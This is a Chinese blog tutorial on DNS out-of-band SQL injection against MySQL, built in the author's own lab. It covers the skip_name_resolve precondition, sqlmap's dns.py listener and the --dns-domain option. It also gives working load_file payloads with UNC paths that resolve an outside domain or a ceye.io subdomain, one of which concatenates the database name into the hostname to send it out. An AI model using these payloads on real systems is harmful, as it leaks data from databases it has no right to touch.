DNS注入(诸葛亮:略懂,略懂)

简介: 本文为实战文章,环境全是自己搭建

本文为实战文章,环境全是自己搭建

1. 为什么要使用DNS注入

盲注跑数据太慢的情况下,选择DNS注入是一个好办法。

2. DNS注入的原理

把域名dns指向我们的服务器域名,这样的话解析域名的时候就会向我们的dns服务器查询。通过递归查询就可以获取数据库上的信息了。要记住整个域名内的节点标签被限制在63个字符长度大小。

3. DNS注入的要求

数据库在配置中允许域名解析时

到我们数据库中查看一下:show variables like ‘skip_name_resolve’;

 

skip_name_resolve这个参数是禁止域名解析

skip_name_resolve 为off时会进行域名解析

一旦开启此参数,所有远程主机连接数据库授权都要使用IP地址的方式。

生产环境正常都是开启的。

4. 实战

首先我们服务器上安装sqlmap

发现服务器已经有2.6的python环境了

 


直接pip install sqlmap

 

 

安装成功。

接着

 

找到sqlmap根目录

cd /usr/lib/python2.6/site-packages/sqlmap/lib/request/

 

dns.py

它的作用是监听53端口,先给它一个执行权限,+x

这里我直接给他最大权限了

chmod 777 dns.py

在mysql命令行执行 select load_file("\\\\xxx.zka7.xyz\\txf");

\\\\经过传输后会变成\\

txf是域名的下级目录,可以随便构造

执行后服务器就会有数据包(xxx.zka7.xyz)出现

 


5. Sqlmap的自动化实现

在sqlmap中实现DNS注入加上参数

在服务器安装好了sqlmap然后运行dns.py

--dns-domain=域名

即可实现自动化。

 

6. 我不想买2个域名,我不想买服务器,我也想玩一波DNS注入

有现成的服务:http://ceye.io

 

登陆之后

 

有一个分配给你的二级域名

在数据库中输入

select load_file("\\\\tangxiaofeng.1odz7u.ceye.io\\aaa");

 

可以看到tangxiaofeng这个帅气的名字。

 

试一下拼接。

首先本地选择一个表

use sqltest;

这里的sqltest是我自己建的表

接着select load_file(concat("\\\\",(select database()),".1odz7u.ceye.io\\txf"));

 

database出来了。

相关文章
|
域名解析 监控 网络协议
DNS防火墙软件版发布上线
DNS防火墙软件版发布,支持私有化部署,通过实时过滤和监控DNS流量,阻断恶意域名解析请求,从而防止用户或系统访问网络钓鱼网站、恶意软件分发站点等高风险目标。欢迎咨询购买
|
弹性计算 应用服务中间件 Linux
阿里云服务器开放端口完整图文教程
笔者近期开发完成的服务端程序部署在阿里云的ECS云服务器上面,一些应用程序配置文件需要设置监听的端口(如Tomcat的8080、443端口等),虽然通过CentOs 7系统的的「防火墙」开放了对应的端口号,任然无法访问端口号对应的应用程序,后面了解到原来还需要设置云服务器的「安全组规则」,开放相应的端口权限,服务端的接口才能真正开放。
5129 1
阿里云服务器开放端口完整图文教程
|
Android开发 iOS开发 容器
鸿蒙harmonyos next flutter混合开发之开发FFI plugin
鸿蒙harmonyos next flutter混合开发之开发FFI plugin
|
云栖大会
2025云栖大会分论坛《共建韧性互联网基础资源服务(DNS+IPv6)》即将开幕,欢迎光临
2025年9月26日,杭州云栖小镇《共建韧性互联网基础资源服务(DNS+IPv6)分论坛》即将登场。限时开放免费门票,期待您的到来!
|
监控 安全 数据可视化
Amass 被动与主动子域收集
Amass是OWASP推出的开源信息收集工具,主要用于域名信息收集、子域名枚举与攻击面分析。它结合被动数据源、主动探测及字典爆破发现目标资产,支持生成可视化图表,适用于渗透测试、资产管理和安全监控等多种场景。
555 0
|
设计模式 缓存 Devops
微服务架构最强讲解,那叫一个通俗易懂!
微服务架构(Microservice Architecture)是一种架构概念,旨在通过将功能分解到各个离散的服务中以实现对解决方案的解耦。你可以将其看作是在架构层次而非获取服务的
35286 3
微服务架构最强讲解,那叫一个通俗易懂!
|
安全 Shell Linux
Webshell管理工具:AntSword(中国蚁剑)
中国蚁剑的下载、安装、详细使用步骤
18801 1
|
SQL 存储 关系型数据库
MySQL配置文件my.cnf 优化
MySQL配置文件my.cnf 优化
636 0
|
前端开发 JavaScript
XSS payload 大全
收集的一些XSS payload,主要分为五大类,便于查阅。 #第一类:Javascript URL link link link Hello Hello link link link link Hello link Hello link link link ...
2138 0
|
开发者 Python
【Python】已解决:(Python3中pip无法安装urllib报错问题) ERROR: Could not find a version that satisfies the requireme
【Python】已解决:(Python3中pip无法安装urllib报错问题) ERROR: Could not find a version that satisfies the requireme
1943 0
【Python】已解决:(Python3中pip无法安装urllib报错问题) ERROR: Could not find a version that satisfies the requireme

热门文章

最新文章